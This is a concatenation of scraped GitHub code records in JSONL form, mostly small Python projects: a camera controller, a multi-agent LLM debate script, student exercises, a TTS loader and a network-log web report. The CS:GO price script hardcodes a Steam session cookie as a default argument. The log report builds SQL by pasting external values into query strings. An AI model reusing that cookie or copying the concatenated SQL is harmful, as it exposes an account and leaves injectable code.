self.data[\"Feeling\"] = \"Sad\"\r\n self.data[\"Time\"] = self.ui.dateEdit.date().toString(\"yyyy_MM_dd\")\r\n self.someone.data.emit(self.data)\r\n self.accept()\r\n\r\n @Slot()\r\n def on_pushButton_2_clicked(self):\r\n self.data[\"Feeling\"] = \"Normal\"\r\n self.data[\"Time\"] = self.ui.dateEdit.date().toString(\"yyyy_MM_dd\")\r\n self.someone.data.emit(self.data)\r\n self.accept()\r\n\r\n @Slot()\r\n def on_pushButton_3_clicked(self):\r\n self.data[\"Feeling\"] = \"Good\"\r\n self.data[\"Time\"] = self.ui.dateEdit.date().toString(\"yyyy_MM_dd\")\r\n self.someone.data.emit(self.data)\r\n self.accept()\r\n\r\n\r\nclass Communicate(QObject):\r\n data = Signal(dict)\r\n","repo_name":"duanxianpi/AI-Voice-Diary","sub_path":"newDialog.py","file_name":"newDialog.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"38071227786","text":"import openai\nimport json\nimport numpy as np\nimport random\n\ndef construct_message(agents, question, idx):\n if len(agents) == 0:\n return {\"role\": \"user\", \"content\": \"Can you double check that your answer is correct. Please reiterate your answer, with your final answer a single numerical number, in the form \\\\boxed{{answer}}.\"}\n\n prefix_string = \"These are the solutions to the problem from other agents: \"\n\n for agent in agents:\n agent_response = agent[idx][\"content\"]\n response = \"\\n\\n One agent solution: ```{}```\".format(agent_response)\n\n prefix_string = prefix_string + response\n\n prefix_string = prefix_string + \"\"\"\\n\\n Using the solutions from other agents as additional information, can you provide your answer to the math problem? \\n The original math problem is {}. Your final answer should be a single numerical number, in the form \\\\boxed{{answer}}, at the end of your response.\"\"\".format(question)\n return {\"role\": \"user\", \"content\": prefix_string}\n\n\ndef construct_assistant_message(completion):\n content = completion[\"choices\"][0][\"message\"][\"content\"]\n return {\"role\": \"assistant\", \"content\": content}\n\n\ndef read_jsonl(path: str):\n with open(path) as fh:\n return [json.loads(line) for line in fh.readlines() if line]\n\nif __name__ == \"__main__\":\n agents = 3\n rounds = 2\n random.seed(0)\n\n generated_description = {}\n\n questions = read_jsonl(\"/data/vision/billf/scratch/yilundu/llm_iterative_debate/grade-school-math/grade_school_math/data/test.jsonl\")\n random.shuffle(questions)\n\n for data in questions[:100]:\n question = data['question']\n answer = data['answer']\n\n agent_contexts = [[{\"role\": \"user\", \"content\": \"\"\"Can you solve the following math problem? {} Explain your reasoning. Your final answer should be a single numerical number, in the form \\\\boxed{{answer}}, at the end of your response. \"\"\".format(question)}] for agent in range(agents)]\n\n for round in range(rounds):\n for i, agent_context in enumerate(agent_contexts):\n\n if round != 0:\n agent_contexts_other = agent_contexts[:i] + agent_contexts[i+1:]\n message = construct_message(agent_contexts_other, question, 2*round - 1)\n agent_context.append(message)\n\n completion = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo-0301\",\n messages=agent_context,\n n=1)\n\n assistant_message = construct_assistant_message(completion)\n agent_context.append(assistant_message)\n\n generated_description[question] = (agent_contexts, answer)\n\n json.dump(generated_description, open(\"gsm_{}_{}.json\".format(agents, rounds), \"w\"))\n\n import pdb\n pdb.set_trace()\n print(answer)\n print(agent_context)\n","repo_name":"composable-models/llm_multiagent_debate","sub_path":"gsm/gen_gsm.py","file_name":"gen_gsm.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":206,"dataset":"github-code","pt":"82"} +{"seq_id":"28618236995","text":"# Função para encontrar o menor valor em uma lista\r\ndef encontrar_menor(lista):\r\n menor = lista[0]\r\n for num in lista:\r\n if num < menor:\r\n menor = num\r\n return menor\r\n\r\n# Função para encontrar o maior valor em uma lista\r\ndef encontrar_maior(lista):\r\n maior = lista[0]\r\n for num in lista:\r\n if num > maior:\r\n maior = num\r\n return maior\r\n\r\n# Entrada dos números como uma lista de strings separadas por espaço\r\nnumeros_lista = input(\"Digite uma lista de números separados por espaço: \")\r\n\r\n# Convertendo a entrada em números inteiros\r\nnumeros = [int(x) for x in numeros_lista.split()]\r\n\r\n# Verificando se a lista está vazia\r\nif len(numeros) == 0:\r\n print(\"Sua lista está vazia\")\r\nelse:\r\n # Chamando as funções para encontrar o menor e o maior valor\r\n num_menor = encontrar_menor(numeros)\r\n num_maior = encontrar_maior(numeros)\r\n \r\n # Exibindo o menor e o maior valor\r\n print(\"O menor valor é {}.\".format(num_menor))\r\n print(\"O maior valor é {}.\".format(num_maior))","repo_name":"Fernandabonavides/Niston","sub_path":"Questao4.py","file_name":"Questao4.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36245436009","text":"import random\r\nprint (\"Thanos caiu em um bosque com 50 árvores e se escondeu entre uma delas, descubra em que árvore ele esta. Suas chances serão o nivel escolhido vezes 5. Boa sorte!\")\r\nprint( \"Escolha um nível: 3-Fácil 2-Médio 1-Difícil: \")\r\nniveis = int(input(\"Digite qual o número do nivel: \"))\r\n\r\nchances = niveis * 5\r\n\r\narvores = random.randrange (0,50)\r\n\r\nwhile chances > 0:\r\n \r\n tentativas= int(input(\"Digite um número: \"))\r\n \r\n if tentativas > arvores:\r\n print(\"Está mais para a esquerda\")\r\n chances -= 1\r\n elif tentativas < arvores:\r\n print(\"Está mais para a direita\")\r\n chances -= 1\r\n else:\r\n print(\"Acertou\")\r\n chances = 0","repo_name":"Tay0807/Thanos","sub_path":"thanos.py","file_name":"thanos.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36418271200","text":"import sqlite3\r\n\r\n\r\nconn = sqlite3.connect('students.db')\r\ncursor = conn.cursor()\r\n\r\n\r\ncursor.execute('''CREATE TABLE IF NOT EXISTS students \r\n (id INTEGER PRIMARY KEY, name TEXT, grade INTEGER)''')\r\nconn.commit()\r\n\r\ndef add_student():\r\n name = input(\"Введите имя студента: \")\r\n grade = int(input(\"Введите оценку студента: \"))\r\n cursor.execute(\"INSERT INTO students (name, grade) VALUES (?, ?)\", (name, grade))\r\n conn.commit()\r\n print(\"Студент успешно добавлен!\")\r\n\r\ndef delete_student():\r\n student_id = int(input(\"Введите ID студента, которого нужно удалить: \"))\r\n cursor.execute(\"DELETE FROM students WHERE id=?\", (student_id,))\r\n conn.commit()\r\n print(\"Студент успешно удален!\")\r\n\r\ndef edit_grade():\r\n student_id = int(input(\"Введите ID студента, оценку которого нужно изменить: \"))\r\n new_grade = int(input(\"Введите новую оценку: \"))\r\n cursor.execute(\"UPDATE students SET grade=? WHERE id=?\", (new_grade, student_id))\r\n conn.commit()\r\n print(\"Оценка успешно изменена!\")\r\n\r\nwhile True:\r\n print(\"1. Добавить студента\")\r\n print(\"2. Удалить студента\")\r\n print(\"3. Изменить оценку студента\")\r\n print(\"4. Вывести список всех студентов\")\r\n print(\"5. Выйти из программы\")\r\n choice = int(input(\"Выберите действие: \"))\r\n if choice == 1:\r\n add_student()\r\n elif choice == 2:\r\n delete_student()\r\n elif choice == 3:\r\n edit_grade()\r\n elif choice == 4:\r\n cursor.execute(\"SELECT * FROM students\")\r\n students = cursor.fetchall()\r\n print(\"ID\\tИмя\\tОценка\")\r\n for student in students:\r\n print(student[0], \"\\t\", student[1], \"\\t\", student[2])\r\n elif choice == 5:\r\n break\r\n else:\r\n print(\"Некорректный ввод! Попробуйте еще раз.\")\r\n \r\n# Закрывает соединение с базой данных\r\nconn.close()\r\n","repo_name":"DaniyaKu/DaniyaKu","sub_path":"2'nd sem /database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35820168530","text":"import cv2\nimport numpy as np\nfrom landmark_selector_visualizer import Frame\nfrom pathlib import Path\nfrom enum import Enum\nimport json\n\n\nclass ImageFormats(Enum):\n jpeg,\n png,\n tiff,\n\n\ndef download(path: str,\n format: ImageFormats,\n fixed_transformed: np.ndarray = None,\n moving_transformed: np.ndarray = None,\n annotated_transformed: np.ndarray = None,\n landmarks: Frame = None,\n\n ):\n p = Path(P)\n\n if fixed_transformed is not None:\n img_path = p / f\"fixed.{format.name}\"\n cv2.imwrite(str(img_path), fixed_transformed)\n\n if moving_transformed is not None:\n img_path = p / f\"moving.{format.name}\"\n cv2.imwrite(str(img_path), fixed_transformed)\n\n if annotated_transformed is not None:\n img_path = p / f\"annotated.{format.name}\"\n cv2.imwrite(str(img_path), annotated_transformed)\n\n if landmarks is not None:\n data_path = p / f\"landmarks.json\"\n landmarks.to_dict()\n with data_path.open('w') as w:\n json.dump(landmarks.to_dict(), w)\n","repo_name":"radxtools/radpathfusion","sub_path":"notebooks/utils/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"559675437","text":"#!/usr/bin/python\n\n# Library for Dual-view IPAX with Arducam Synchronized Stereo Camera Hat\n# P. Lertvilai\n# Feb, 2021\n\nimport io\nimport os\nimport time\nimport numpy as np\nimport datetime as dt\nimport subprocess\nimport signal\n\n# general function for interacting with bash script\ndef runCmdTimeout(cmd, timeout=15):\n \"\"\"run a command in terminal with timeout. Shell = False\n return True is command successfully runs before timeout\n \"\"\"\n success = True\n try:\n \tsubprocess.check_output(cmd.split(\" \"), timeout=timeout)\n except:\n \tprint(\"Process Timeout\")\n \tsuccess = False\n\n return success\n\ndef runShellTimeout(cmd, timeout=15):\n\t\"\"\"run a command in terminal with timeout. Shell = True\n return True is command successfully runs before timeout\n Source: https://stackoverflow.com/questions/36952245/subprocess-timeout-failure\n \"\"\"\n\tsuccess = True\n\twith subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid) as process:\n\t\ttry:\n\t\t\toutput = process.communicate(timeout=timeout)[0]\n\t\texcept:\n\t\t\tprint(\"Process Timeout\")\n\t\t\tos.killpg(process.pid, signal.SIGINT) # send signal to the process group\n\t\t\toutput = process.communicate()[0]\n\t\t\tsuccess = False\n\treturn success\n\n\nclass dIPAX():\n\n\tdef __init__(self,outputDir,shutter=500,iso=100,awb=(1.0,2.4),fps=30,imDim=(4056,3040),vidDim=(1920,1080)):\n\t\t'''Initialize dIPAX object with camera parameters.\n\t\tINPUT:\n\t\t\toutputDir = (string) directory of output images and videos.\n\t\t\tshutter = (int) camera shutter speed in microseconds\n\t\t\tiso = (int) camera ISO value\n\t\t\tawb = (float,float) camera white balance tuple (red/green,blue/green)\n\t\t\tfps = (int) camera frame rate \n\t\t\timDim = (int,int) image dimension for still images in pixels\n\t\t\tvidDim = (int,int) image dimension for videos in pixels. Note that RPi uses H264 video\n\t\t\t\t\tencodind, so the dimension is constrained by the encoder.\n\t\t'''\n\t\t# camera parameters\n\t\tself.ss = shutter\n\t\tself.iso = iso\n\t\tself.awb = awb\n\t\tself.fps = fps\n\t\tself.imDim = imDim\n\t\tself.vidDim = vidDim\n\n\t\t# output file\n\t\tself.dir = outputDir\n\n\t\t#time keeping\n\t\tself.time = time.time()\n\n\t\t# error keeping\n\t\tself.error = 0\n\n\t\t#mode 0 = still image, 1 = video\n\t\tself.mode = 0\n\n\tdef initialize(self):\n\t\t'''Initialize output folders.'''\n\t\t# check for images directory\n\t\tif os.path.isdir(\"%simages/\"%self.dir):\n\t\t\tprint(\"Found images folder\")\n\t\telse:\n\t\t\tprint(\"Images folder not found. Creating the folder\")\n\t\t\tos.system(\"mkdir images\")\n\n\t\t# check for videos directory\n\t\tif os.path.isdir(\"%svideos/\"%self.dir):\n\t\t\tprint(\"Found videos folder\")\n\t\telse:\n\t\t\tprint(\"Videos folder not found. Creating the folder\")\n\t\t\tos.system(\"mkdir videos\")\n\t\tprint(\"Finished initialization.\")\n\n\tdef updateTime(self):\n\t\t'''Update timestamp of dIPAX.\n\t\tReturn current unix timestamp in seconds'''\n\t\tself.time = time.time()\n\t\treturn self.time\n\n\tdef timePass(self):\n\t\t'''Return the elapsed time since previous timestamp.'''\n\t\treturn time.time()-self.time\n\n\tdef setMode(self,mode):\n\t\t'''Set image acquisition mode.\n\t\tINPUT: mode=0 -> still image\n\t\t\t\tmode=1 -> video.'''\n\t\tself.mode = mode\n\t\treturn self.mode\n\n\tdef addError(self,cond):\n\t\t'''Increment error count by 1 if the cond is met.\n\t\tReturn new error count value.'''\n\t\tif cond:\n\t\t\tself.error = self.error+1\n\t\treturn self.error\n\n\tdef raspicamPipeline(self,tt=1000):\n\t\t'''Return bash script for executing raspistill or raspivid\n\t\tINPUT: \n\t\t\t\ttt = duration of raspistill/raspivid execution in milliseconds\n\t\t\t\tmode=0 -> raspistill\n\t\t\t \tmode=1 -> raspivid\n\t \tOUTPUT:\n\t \t\tstring of bash script for executing raspistill/raspivid command.'''\n\t\tif self.mode==0: # for raspistill\n \t\t\treturn ('raspistill -n -q 100 -w %d -h %d -awb off -awbg %.1f,%.1f -ISO %d -ss %d -t %d -o %simages/%d.jpg' %(self.imDim[0],self.imDim[1],self.awb[0],self.awb[1],self.iso, self.ss, tt, self.dir, self.time))\n\t\telse: # for raspivid\n\t\t\treturn ('raspivid -n -w %d -h %d '\n \t\t\t\t'-awb off -awbg %.1f,%.1f -ISO %d -fps %d '\n \t\t\t\t'-ss %d -t %d -o %svideos/%d.h264' %(self.vidDim[0],self.vidDim[1],\n \t\t\t\t\tself.awb[0],self.awb[1],self.iso, self.fps,self.ss, tt, self.dir, self.time))\n\n\t\n\tdef takePicture(self):\n\t\t'''Take one still image.\n\t\tOUTPUT:\n\t\t\tret = (boolean) True if command is successfully executed. False if there is an error.\n\t\t\t'''\n\t\tself.setMode(0) # set to image mode\n\t\tcommand = self.raspicamPipeline(tt=500)\n\t\tprint(command)\n\t\tret = runCmdTimeout(command,timeout=15)\n\t\treturn ret\n\n\tdef takeVideo(self,t=60000):\n\t\t'''Take video of duration tt.\n\t\tINPUT: \n\t\t\ttt = duration of raspistill/raspivid execution in milliseconds\n\t\tOUTPUT:\n\t\t\tret = (boolean) True if command is successfully executed. False if there is an error\n\t\t\t'''\n\t\tself.setMode(1) # set to image mode\n\t\tcommand = self.raspicamPipeline(tt=t)\n\t\tprint(command)\n\t\tret = runCmdTimeout(command,timeout=t/1000+10) # timeout is set to video duration +10s\n\t\treturn ret\n\n\tdef checkOutput(self,expectedSize=10000):\n\t\t'''Check output file whether it is valid.\n\t\tINPUT: expectedSize = expected file size in Bytes\n\t\tOUTPUT: cond1 = (bool) file exist?\n\t\t\t\tcond2 = (bool) file size valid?'''\n\n\t\t# get current filename \n\t\tif self.mode == 0:\n\t\t\tfilename = \"%simages/%d.jpg\"%(self.dir,self.time)\n\t\telse:\n\t\t\tfilename = \"%svideos/%d.h264\"%(self.dir,self.time)\n\t\t\n\t\t# check whether file exists first\n\t\tcond1 = os.path.isfile(filename)\n\t\tif not cond1:\n\t\t\tprint(\"File not exist\")\n\t\t\tcond2 = False\n\t\t\treturn cond1, cond2\n\n\t\t# check whether file is larger than expected size\n\t\tfsize = os.path.getsize(filename)\n\t\tcond2 = fsize > expectedSize\n\t\tif not cond2:\n\t\t\tprint(\"File size too small\")\n\n\t\treturn cond1, cond2\n\n\tdef recordStat(self,dataStr,fname):\n\t\t''' Record dataStr to file fname.\n\t\tINPUT:\n\t\t\tdataStr = (string) data to be recorded\n\t\t\tfname = (string) name of the file\n\t\t'''\n\t\tfilename = \"%s%s\"%(self.dir,fname)\n\t\tfile = open(filename, 'a')\n\t\tfile.write(dataStr)\n\t\tfile.close()","repo_name":"plertvilai/Dual_view_system","sub_path":"RaspberryPi/dIPAX_hat.py","file_name":"dIPAX_hat.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22528854407","text":"import pandas as pd\nimport re\n\ns_data = pd.read_csv(\"OUT_2_TreatMissingBy_modify.csv\", sep=';')\n\ns1_data = pd.read_csv(\"OUT_2_TreatMissingBy_modify.csv\", sep=';', index_col = 'EmployeeID')\n\ndata_top = s_data.head()\nprint(data_top) \n\n# creating series \nseries = s_data[\"Gender\"] \n \n# returning top n rows \ntop = series.head(20) \n\nprint(top)\n\n# Convert the dictionary into DataFrame \ndf = pd.DataFrame(s_data) \nprint((df[['EmployeeID', 'Gender', 'Age', 'Education']]).head(8))\n\n# adding a row\nnew_row = pd.DataFrame({'EmployeeID':'AA0001', 'Gender':'Male', 'Age':24.0, \n 'Education':'Graduation', 'EducationType':'Economics', 'MaritalStatus':'Married', \n 'TotalCompanies':8.0, 'TotalExperience':7.0, 'DistanceToOffice':9.0, 'Department':'ClientSolutions',\n 'Traveltype_last_year': 'Conference', 'BillingRate':73.0, 'MonthlyIncome':2718.0,'Years_at_Company':1.0,'Years_InCurrentRole':0.0,\n 'LastSalaryHike':19.0,'PotentialReview':'Very High','PerformanceReview':'Met Expectations','SatisfactionScore':'Passive', 'JobRole_SatisfactionScore':'Passive',\n 'Overall_SatisfactionScore':'Detractor'},\n index =[0]) \n\n# simply concatenate both dataframes \ndf = pd.concat([new_row, df]).reset_index(drop = True) \ndf.head(5)\n\n# retrieving row by loc method \nfirst = s1_data.loc[[\"AB0001\", \"AB0003\"]] \nsecond = s1_data.loc[\"AB0005\"] \n \nprint(first, \"\\n\\n\\n\", second) \n\n\n# retrieving data by iloc method\nrow = s_data.iloc[3:7]\nrow2 = s_data.iloc [[3, 4], [0, 1, 2]]\nrow3 = s_data.iloc [: , [0, 1, 2]]\nprint(row)\nprint (row2)\nprint(row3)\n\n# Groupby\ngb = df.groupby('Education')\nprint(gb.first())\n\nrow_ = s_data.iloc [[3, 4],[0,1,2,3,4]]\ngb_r = row_.groupby('Education')\nprint(gb_r.first())\n\n# Using multiple keys in \n# groupby() function \n \nprint(df.groupby(['EmployeeID', 'Education']).groups)\n\nrow4 = s_data.iloc [:, [ 1, 12]]\n\n#combined monthly income\ns = row4.groupby(['Gender']).sum()\nprint(s)\n\n# selecting a single group \n \ngrp = df.groupby(['MaritalStatus', 'Gender']) \ns_grp = grp.get_group(('Married', 'Female'))\nprint(s_grp)","repo_name":"Pradnya1208/Data-Preprocessing","sub_path":"Data Preprocessing/Python/Data Mining/Data profiling and Cleaning/summerize data/variousOps.py","file_name":"variousOps.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7754814888","text":"#!/usr/bin/python3\n# wait_for_daemonset.py -\n# wait until all pods are in Running state for specified DaemonSet\n# see usage() for input params\n\nfrom kubernetes import client, config\nfrom sys import argv, exit\nimport time\n\nNOTOK = 1\n# may have to adjust this based on number of pods\npoll_interval = 2.0\n\n\ndef usage(msg):\n print('ERROR: %s' % msg)\n print('usage: wait_for_daemonset.py timeout namespace node-label')\n exit(NOTOK)\n\n\n# parse command line\n\nif len(argv) < 3:\n usage('too few parameters')\n\ntimeout_str = argv[1]\nns = argv[2]\nlabel = argv[3]\n\n# show 'em what we parsed\n\nprint('timeout if pods not seen in %s sec' % timeout_str)\nprint('namespace: %s' % ns)\nprint('node label: %s' % label)\n\ntimeout = int(timeout_str)\nif timeout <= poll_interval:\n usage('timeout %d must be greater than poll interval %d' %\n (timeout, poll_interval))\n\n# wait for pods\n\n# cannot do this from inside cluster pod: config.load_kube_config()\nconfig.load_incluster_config()\nv1 = client.CoreV1Api()\n\nnodes = v1.list_node().items\nmatching_nodes = 0\nfor n in nodes:\n try:\n v = n.metadata.labels[label]\n matching_nodes += 1\n except KeyError:\n pass\n\nprint('expecting %d nodes to have this pod' % matching_nodes)\nif matching_nodes == 0:\n usage('at least 1 node must have the %s label' % label)\n\nprint('waiting for daemonset...')\nstart_time = time.time()\nmatching_pods = 0\ngenerate_name = label + '-'\n\nwhile True:\n time.sleep(poll_interval)\n now_time = time.time()\n delta_time = now_time - start_time\n if delta_time > timeout:\n break\n\n ret = v1.list_pod_for_all_namespaces(watch=False)\n matching_pods = 0\n for i in ret.items:\n if i.metadata.namespace == ns and \\\n i.metadata.generate_name == generate_name and \\\n i.status.phase == 'Running':\n matching_pods += 1\n if matching_pods >= matching_nodes:\n break\n\nif delta_time > timeout:\n usage('timeout waiting for pods to reach running state')\n\nif matching_pods != matching_nodes:\n usage('expected %d pods, found %d pods' % (matching_nodes, matching_pods))\n","repo_name":"cloud-bulldozer/benchmark-operator","sub_path":"roles/kernel_cache_drop/wait_for_daemonset.py","file_name":"wait_for_daemonset.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":269,"dataset":"github-code","pt":"82"} +{"seq_id":"33829584845","text":"import os\n\nimport text\nimport torch\nimport torchaudio\nfrom torch.utils.data import Dataset\n\nfrom utils import read_lines_from_file, progbar\nfrom utils.audio import MelSpectrogram\n\n\ndef text_mel_collate_fn(batch):\n \"\"\"\n Args:\n batch: List[(text_ids, mel_spec)]\n Returns:\n text_ids_pad\n input_lengths\n mel_pad\n gate_pad\n output_lengths\n \"\"\"\n input_lens_sorted, input_sort_ids = torch.sort(\n torch.LongTensor([len(x[0]) for x in batch]),\n dim=0, descending=True)\n max_input_len = input_lens_sorted[0]\n\n num_mels = batch[0][1].size(0)\n max_target_len = max([x[1].size(1) for x in batch])\n\n text_ids_pad = torch.LongTensor(len(batch), max_input_len)\n mel_pad = torch.FloatTensor(len(batch), num_mels, max_target_len)\n gate_pad = torch.FloatTensor(len(batch), max_target_len)\n output_lengths = torch.LongTensor(len(batch))\n\n text_ids_pad.zero_(), mel_pad.zero_(), gate_pad.zero_()\n\n for i in range(len(input_sort_ids)):\n text_ids, mel = batch[input_sort_ids[i]]\n text_ids_pad[i, :text_ids.size(0)] = text_ids\n mel_pad[i, :, :mel.size(1)] = mel\n gate_pad[i, mel.size(1)-1:] = 1\n output_lengths[i] = mel.size(1)\n\n return text_ids_pad, input_lens_sorted, \\\n mel_pad, gate_pad, output_lengths\n\n\ndef remove_silence(energy_per_frame: torch.Tensor, thresh: float = -10.0):\n keep = energy_per_frame > thresh\n # keep silence at the end\n i = keep.size(0)-1\n while not keep[i] and i > 0:\n keep[i] = True\n i -= 1\n return keep\n\n\nclass ArabDataset(Dataset):\n def __init__(self, txtpath='./data/train_phon.txt',\n wavpath='G:/data/arabic-speech-corpus/wav_new',\n cache=True):\n super().__init__()\n\n self.mel_fn = MelSpectrogram()\n self.wav_path = wavpath\n self.cache = cache\n\n lines = read_lines_from_file(txtpath)\n\n phoneme_mel_list = []\n\n for line in progbar(lines):\n fname, phonemes = line.split('\" \"')\n fname, phonemes = fname[1:], phonemes[:-1]\n\n tokens = text.phonemes_to_tokens(phonemes)\n token_ids = text.tokens_to_ids(tokens)\n fpath = os.path.join(self.wav_path, fname)\n\n if self.cache:\n mel_log = self._get_mel_from_fpath(fpath)\n phoneme_mel_list.append(\n (torch.LongTensor(token_ids), mel_log))\n else:\n phoneme_mel_list.append((torch.LongTensor(token_ids), fpath))\n\n self.data = phoneme_mel_list\n\n def _get_mel_from_fpath(self, fpath):\n wave, _ = torchaudio.load(fpath)\n\n mel_raw = self.mel_fn(wave)\n mel_log = mel_raw.clamp_min(1e-5).log().squeeze()\n\n energy_per_frame = mel_log.mean(0)\n mel_log = mel_log[:, remove_silence(energy_per_frame)]\n\n return mel_log\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n\n if self.cache:\n return self.data[idx]\n\n phonemes, fpath = self.data[idx]\n mel_log = self._get_mel_from_fpath(fpath)\n\n return phonemes, mel_log\n","repo_name":"nipponjo/tts-arabic-pytorch","sub_path":"utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"82"} +{"seq_id":"43173595744","text":"import requests\nimport threading\nimport steammarket as sm\nfrom data.data import weapons\nimport math\nfrom time import sleep\n\ndef getcsmarketlistings(page=0, listings=23, cookie={'steamLoginSecure': '76561198258642304%7C%7C02BE9D6BFCD1032254A0DB2B65671FD87094B597'}):\n csreq = requests.get(f'https://steamcommunity.com/market/search/render/?start={page*listings}&search_descriptions=0&sort_column=default&sort_dir=desc&appid=730&norender=1&count={listings}', cookies=cookie)\n cslistings = csreq.json()\n csitems = {}\n for l in cslistings['results']:\n csitems[l['name']] = l['sell_price']\n return csitems\n\ndef getcsfloatlistings(page=0, listings=23):\n csfreq = requests.get(f'https://csgofloat.com/api/v1/listings', params={'page': page, 'limit': listings})\n csflistings = csfreq.json()\n csfitems = {}\n for l in csflistings:\n csfitems[l['item']['market_hash_name']] = l['price']\n return csfitems\n\ndef main():\n csfitems = {}\n for inx, x in enumerate(range(0, 45)):\n csfitems.update(getcsfloatlistings(page=x))\n print(f\"Obtaining float.db Listings: {round((inx/45)*100)}%\")\n\n for item in csfitems.keys():\n marketitem = sm.get_csgo_item(item, currency='USD')\n if marketitem != None:\n if 'lowest_price' in marketitem.keys():\n prof = abs(csfitems[item]/100 - float(marketitem['lowest_price'].replace('$', '').replace(',', '')))\n if csfitems[item]/100 < float(marketitem['lowest_price'].replace('$', '').replace(',', '')):\n perc = 100 - ((csfitems[item]/100) / float(marketitem['lowest_price'].replace('$', '').replace(',', ''))) * 100\n else:\n perc = 100 -(float(marketitem['lowest_price'].replace('$', '').replace(',', '')) / (csfitems[item]/100)) * 100\n print(f\"{item} - Profit: ${round(prof, 3)} ({round(perc)}%)\")\n print(f\" - CSGO Float Listing: ${csfitems[item]/100}\")\n print(f\" - Steam Market Listing: ${float(marketitem['lowest_price'].replace('$', '').replace(',', ''))}\")\n sleep(15)\nif __name__ == \"__main__\":\n main()","repo_name":"RyDawgE/CSGO-Market-Analyzer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72110753797","text":"import sqlite3\nfrom datetime import datetime\nfrom datetime import timedelta\nimport struct\nimport ipaddress\nimport ipinfo\nimport base64\nfrom ulogd_sqlite3.common import gs\nfrom ulogd_sqlite3.bar_graph import get_day_usage_bar\n\n\nDAYS_TO_SHOW = 3\n\n\ndef get_sql_unixtime_filter_on_day(datetimelist: list, startfieldname: str, endfieldname: str, timezone=None):\n \"\"\"\n Create a list of sql inserts based on list of datetime timestamps. The list is aligned by date start and date end.\n For example providing [datetime.now()] will give you and a list of one sql string like\n \"start < 1500066000 AND end > 1499979600\" The names \"start\" and \"end\" are also parameters.\n You insert this sql in your query as a filter.\n :param datetimelist:\n :param startfieldname:\n :param endfieldname:\n :return: a list of sql inserts to be used as filters for query.\n \"\"\"\n ret = list()\n for dt in datetimelist:\n start = datetime(dt.year, dt.month, dt.day, tzinfo=timezone)\n end = start + timedelta(1)\n ret.append(f\"{startfieldname} < {int(end.timestamp())} AND {endfieldname} > {int(start.timestamp())}\")\n return ret\n\n\ndef get_sql_unixtime_filter_on_day_range(datetimestart: datetime, datetimeend: datetime,\n startfieldname: str, endfieldname: str):\n start = datetime(datetimestart.year, datetimestart.month, datetimestart.day)\n end = datetime(datetimeend.year, datetimeend.month, datetimeend.day) + timedelta(1)\n return f\"{startfieldname} < {int(end.timestamp())} AND {endfieldname} > {int(start.timestamp())}\"\n\n\ndef get_days_list(datetimelist: list):\n ret = list()\n for dt in datetimelist:\n ret.append(datetime(dt.year, dt.month, dt.day))\n ret.append(ret[-1] + timedelta(1))\n return ret\n\n\nhead = \"\"\"\n \n \n \n Access info\n \n \n \n \n \n \"\"\"\ntail = \"\"\"\n\n \n\n \n \n \"\"\"\n\n\ndef int2ip(i):\n i = struct.unpack(\"I\", i))[0]\n return str(ipaddress.IPv4Address(i))\n\n\ndef ip2int(ip):\n o = list(map(int, ip.split(\".\")))\n res = (16777216 * o[3]) + (65536 * o[2]) + (256 * o[1]) + o[0]\n return res\n\n\ndef ip2info(ip, cache_db=\"var/cache.sqlite3db\"):\n\n def cache_store(details):\n con = sqlite3.connect(cache_db)\n cur = con.cursor()\n details.pop(\"country_flag\", None)\n details.pop(\"country_currency\", None)\n details.pop(\"continent\", None)\n columns = \", \".join(\"`\" + str(y) + \"`\" for y in details.keys())\n values = \", \".join(\"'\" + str(z).replace(\"/\", \"_\").replace(\"'\", '\"') + \"'\" for z in details.values())\n sql = \"INSERT INTO ipinfo( \" + columns + \" ) values (\" + values + \")\"\n cur.execute(sql)\n con.commit()\n\n def cache_lookup(ip):\n con = sqlite3.connect(cache_db)\n cur = con.cursor()\n cur.execute('SELECT hostname, org, country_name, city FROM ipinfo WHERE \"ip\" = \"{}\"'.format(ip))\n res = cur.fetchall()\n if len(res) == 0:\n return None\n else:\n return res[0]\n\n ipinfo_token = gs._ip_info\n if ipinfo_token != \"\":\n info = \"\"\n details = cache_lookup(ip)\n if details is None:\n handler = ipinfo.getHandler(ipinfo_token)\n details = handler.getDetails(ip).details\n cache_store(details)\n if \"hostname\" in details:\n info += \"Host {}. \".format(details[\"hostname\"])\n if \"org\" in details:\n info += \"Organization {}. \".format(details[\"org\"])\n if \"country_name\" in details and \"city\" in details:\n info += \"{} {}.\".format(details[\"country_name\"], details[\"city\"])\n else:\n if details[0] is not None:\n info += \"Host {}. \".format(details[0])\n if details[1] is not None:\n info += \"Organization {}. \".format(details[1])\n if details[2] is not None and details[3] is not None:\n info += \"{} {}.\".format(details[2], details[3])\n else:\n info = ip\n\n return info\n\n\ndef get_ip_page(source_ip):\n answer = head\n answer += \"

    Connections for IP {}

